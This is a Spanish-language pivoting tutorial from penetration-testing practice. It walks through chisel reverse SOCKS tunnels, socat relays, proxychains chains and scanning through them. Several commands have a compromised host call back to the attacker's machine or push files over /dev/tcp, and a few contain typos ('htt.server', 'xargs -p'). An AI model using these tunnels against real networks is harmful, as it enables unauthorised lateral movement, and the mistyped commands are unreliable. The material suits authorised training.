¿ Que es el pivoting ?

El pivoting (También conocido como "hopping") es una técnica utilizada en pruebas de penetración y en el análisis de redes que implica el uso de una máquina comprometida para atacar otras máquinas o redes en el mismo entorno.

Por ejemplo, si un atacante ha comprometido una máquina en una red corporativa, puede utilizar técnicas de pivoting para utilizar esa máquina como punto de salto para atacar otras máquinas en la misma red que de otra manera no serían accesibles. Esto se logra a través de la creación de túneles de comunicación desde la máquina comprometida a otras máquinas en la red.

El pivoting puede ser utilizado para superar restricciones de seguridad que de otra manera impedirían a un atacante acceder a determinadas máquinas o redes. Por ejemplo, si una red corporativa utiliza segmentación de red para separara diferentes partes de la red, el pivoting puede ser utilizado para superar esta restricción y permitir que un atacante salte de una red a otra.


Conceptos

Como sabemos el pivoting consiste en movernos desde una máquina a otra, pudiendo así llegar a tener conexión con máquinas las cuales previamente no contabamos con traza, esto se puede hacer de múltiples formas, pero una herramienta muy utilizada para el pivoting es chisel, la cual hay que correr desde la máquina atacante como server y desde la/s máquina/s victima/s como client.

Downloading Chisel (Linux)
git clone https://github.com/jpillora/chisel
cd chisel

go build -ldflags "-s -w" .
upx chisel
Downloading Chisel (Windows)

En este caso para descargar Chisel a una máquina Windows, en el apartado de Releases descargamos la versión que necesitemos, por ejemplo chisel_1.7.7_windows_amd64.gz.

Una vez que tengamos chisel en nuestra máquina, si deseamos hacer pivoting entre la Máquina 1 con la Máquina 2 para llegar a una Máquina 3, deberiamos trasladar el chisel a nuestra Máquina 2, para eso existen varías maneras (Ignorando el descargarlo desde google)

Con python:

# Máquina 1 en donde este el {binary}: 
python3 -m http.server {port}
# Máquina 2: 
wget http://{ip}:{port}/{binary}

Si tenemos ssh configurado con un authorized_keys en la máquina:

scp {binary} {user}@{ip}:/{path}

Con netcat:

# Máquina 1: 
nc -nvlp {port} < {binary}
# Máquina 2: 
cat < /dev/tcp/{ip}/{port} > {name_binary}

Con base64:

# Máquina 1:
base64 -w 0 {file} | xclip -sel clip
# Máquina 2: 
echo '{base64_string}' | base64 -d > {binary_name}

Una vez que tengamos chisel en la Máquina 2 que tiene conexión con la Máquina 3 con la cual nuestra Máquina 1 no tiene conexión, en nuestra máquina de atacante (La Máquina 1) deberíamos crear el server de chisel:

./chisel server --reverse -p 1234

Mientras que si quisieramos compartir un puerto especifico de la Máquina 3 desde la Máquina 2 para poder acceder desde la Máquina 1, podríamos ejecutar:

# Desde nuestra Máquina 2 conectarnos a nuestro server de chisel haciend port forwarding de un puerto de la máquina 3 a nuestra máquina por el puerto 8899
./chisel client {IP_atacante}:1234 R:8899:{Máquina3_IP}:{Máquina3_port}

Al ejecutar el comando de arriba, si bien no tenemos conexión con la Máquina 3, la Máquina 2 se esta conectando a nuestro servidor de chisel brindando la disponibilidad de un puerto seleccionado de la Máquina 3 y permitiendonos acceder a este en un puerto seleccionado (Ej: 8899)

Pero también podemos permitir acceso a todos los puertos para no tener que jugar puerto por puerto, de manera que si lo que nos interesa es tener completa conexión con la Máquina 3 desde la Máquina 1, en la Máquina 2 podríamos ejecutar el siguiente comando:

./chisel client {IP_atacante}:1234 R:8899:socks

De esta manera, por el puerto indicado (8899, si no especificamos 'R:socks' se habré por defecto el 1080) tendríamos conexión desde la Máquina 1 a la Máquina 3 pasando por este tunel.

Recordemos que así como podemos establecer un tunel a la vez podemos traernos un puerto especifico así como un protocolo distinto:

./chisel client {IP_atacante}:1234 R:socks R:443:{Máquina3_IP}:443/udp

Pero una vez creado el tunel, tenemos que agregar este en el archivo /etc/proxychains4.conf, al tratarse de un único tunel descomentamos la línea que dice strict_chain y al final de todo agregamos la línea "socks5 127.0.0.1 8899" para indicar que cuando usemos la herramienta proxychains y esta leea del archivo de configuración, entienda que tiene que pasar por el tunel levantado en nuestro localhost por el puerto indicado (Ej. 8899)

Por ende, si desde nuestra Máquina 1 (Atacante) indicamos un escaneo a la máquina 3, no podremos, pero jugando con proxychains esta herramienta leera del archivo /etc/proxychains4.conf donde configuramos un socks5 en nuestro localhost por el puerto indicado.

# No encontrara el host
nmap -p- --min-rate 5000 -vvv -Pn -n {Máquina3_IP}
# Encontrara el host 
proxychains nmap -Pn -sT -p- --min-rate 5000 -vvv -n {Máquina3_IP}

ACLARACIÓN: Para que funcione nmap a través del proxychain es necesario el parametro -Pn y -sT.

Si queremos que el escaneo con nmap vaya más rapido, podríamos usar el siguiente comando:

seq 1 65535 | xargs -P 500 -I {} proxychains nmap -Pn -sT -p{} -T5 -n -v --open {Máquina3_IP} 2>&1 | grep "tcp open"

A partir de aquí, todo es necesario que pase por el proxychain, ejemplos:

# No encontrara el host
whatweb http://{Máquina3_IP}
# Encontrara el host
proxychains whatweb http://{Máquina3_IP}

# No encontrara el host 
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --url http://{Máquina3_IP} -r -t 20 -x php,txt,html,js,py
# Encontrara el host PERO ira bastante lento
proxychains gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --url http://{Máquina3_IP} -r -t 20 -x php,txt,html,js,py
# Encontrara el host y sera más OPTIMO 
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --url http://{Máquina3_IP} -r -t 20 -x php,txt,html,js,py --proxy socks5://127.0.0.1:8899

A nivel de navegador, podríamos hacer uso de herramientas como foxy proxy para configurar un proxy de tipo SOCKS5 y poder así llegar a la máquina, la configuración del mismo debería estar vinculada al localhost por el puerto indicado (Ej.8899)

Uso de socat:

Socat es una binario estático el cual nos servira para redirigir el tráfico. Por ejemplo, dado el caso de un SSRF - (Server-Side Request Forgery) u otro caso donde por algun motivo necesitemos desde una Máquina 3 realizar una petición a la Máquina 1, si lo intentamos como normalmente lo haríamos esto no funcionará debido a que no existe conectividad alguna entre ambas, pero sin tener conectividad entre estas habiendo sido vulnerada una Máquina 2, podríamos hacer uso de socat en esta máquina intermedia para redirigir el tráfico desde una máquina a otra.

Es decir aplicar con socat un redireccionamiento desde la Máquina 2 para toda petición entrante por un determinado puerto sea redirigida a un dirección especifica, en este caso, la Máquina 1.

./socat TCP-LISTEN:{port},fork TCP:{ip}:{port2}

Redirigimos todo el tráfico ingresante por un determinado puerto a una determinada dirección ip y su respectivo puerto.

# Si realizamos lo siguiente no habra conectividad de primeras: 

# Máquina 1 
python3 -m htt.server 80

# Máquina 3 
curl http://{IP_máquina1}/test.txt 

##########################################3

# Si realizamos lo siguiente ahora tendríamos conectividad: 

# Máquina 1
python3 -m http.server 80 

# Máquina 2 
socat TCP-LISTEN:4343,fork TCP:{IP_máquina1}:80

# Máquina 3
curl http://{IP-máquina2}:4343/test.txt 

De esta manera todo el tráfico será constantemente redirigido de un lado al otro para poder tener conexión, siempre se le tiene que enviar traza al nodo más cercano:

enviroment_pivoting_3_machines.png

En este ejemplo, contamos con la Máquina 1 de IP 192.168.1.38 la cual se encuentra en el mismo segmento de red que la Máquina 2 (192.168.1.33) la cual a su vez tiene un segundo segmento de red (10.10.0.0/24) compartido con una Máquina 3 (10.10.0.129)

De manera que si desde la Máquina 1 queremos poder tener traza con la Máquina 3 habría que hacer uso de chisel

Máquina 1:

chisel server --reverse -p 1234

Máquina 2:

chisel client 192.168.1.38:1234 R:4000:socks

Máquina 1:

echo "127.0.0.1 4000" >> /etc/proxychains4.conf
proxychains curl -s -X GET http://10.10.0.129

De esta manera haciendo uso de chisel desde la máquian 1 creamos un servidor por el puerto 1234, desde la máquina intermediaria nos conectamos a este servidor fijando en el puerto 4000 de la máquina dueña del servidor de chisel un tunel para el tráfico. De manera que si configuramos las reglas correctamente en el archivo proxychains4.conf indicando el puerto, la máquina 1 tendrá una manera de conectar con la máquina 3 pasando toda la conexión mediante este tráfico.

De manera que se podrá conectar mediante ssh, entre otras cosas.

Máquina 1:

proxychains ssh root@10.10.0.129

Por otro lado, si lo que necesitamos es un "traspaso" de archivos, envíos de reverse shells, etc. Necesitaremos hacer uso de socat, donde una vez más la máquina intermediaria se tendra que ocupar de redirigir todo el tráfico de red entrante por un puerto a una determinada dirección.

Máquina 1:

nc -nlvp 443 > binary.txt

Máquina 2:

socat TCP-LISTEN:5566,fork TCP:192.168.1.38:443

Máquina 3:

cat < binary.txt > /dev/tcp/10.10.0.128/5566

De esta manera la máquina 2 se encarga de recibir conexiones por el puerto 5566 y redirigirlo a la IP de la máquina 1 por el puerto 443 donde la máquina 1 se encuentra escuchando.


Múltiples conexiones y máquinas

Ahora, tenemos casos en donde no es un entorno "chico" donde solamente hay 3 máquinas, podría haber 4, 5, 6, etc. En estos casos sigue siendo lo mismo pero con algunos detalles a tener en cuenta.

Para hacer uso de chisel será lo mismo, supongamos que tenemos 4 máquinas.

pivoting_4_machines.png

Si quisieramos desde la Máquina 1 tener conexión con la máquina 4, deberíamos empezar a jugar con proxy de tipo dynamic_chain en lugar de strict_chain, de manera que esto se configura una vez más en el archivo de configuración /etc/proxychains4.conf.
Es importante tener en cuenta que al final de este archivo de confoguración se indicaran los múltiples tuneles socks5 de manera que primero estaran los últimos y por último el primero.

El dinamyc_chain ofrece el mismo funcionamiento que strict. Por lo tanto también seguirá exactamente la lista de proxy que estipulo pero, a diferencia de strict, en el caso que uno de los proxy de la lista falle pasará al siguiente y de este modo podremos establecer la conexión sin problemas.

No solo esto, si no que para poder llegar a la Máquina 4, tiene que haber un nuevo "cliente" de chisel corriendo en la máquina 3, pero como la máquina 3 no tiene directamente conectividad con la Máquina 1, habrá que jugar con socat para redirigir la conexión de chisel a nuestro servidor en la Máquina 1.

Máquina 1:

chisel server --reverse -p 1234

Máquina 2:

chisel client {IP_Máquina1}:1234 R:1080:socks
socat TCP-LISTEN:1234,fork TCP:{IP_Máquina1}:1234

Máquina 3:

chisel client {IP_Máquina2}:1234 R:1081:socks

De esta manera la máquina 2 funciona como puente hacía la Máquina 1 a la vez que redirige el tráfico ingresad por lo Máquina 3 a la Máquina 1, de manera que conecta a la Máquina 3 con la Máquina 1 al servidor de chisel por el puerto 1234 indicado. De manera que el archivo de configuración de /etc/proxychains4.conf deberá tener las sigs. líneas:

# strict_chain

dynamic_chain

socks5 127.0.0.1 1081

socks5 127.0.0.1 1080

A tener en cuenta para los escaneos de nmap y demás, que a partir de que tenemos un dual proxy, la ídea es empezar a jugar con xargs.

seq 1 65535 | xargs -p 500 -I {} proxychains nmap -sT -Pn -p{} --open -T5 -v -n {ip} 2>&1 | grep "tcp open"

Y para herramientas como foxy proxy lo mismo, simplemente debemos configurar el nuevo proxy, en el ejemplo dado puerto 1081.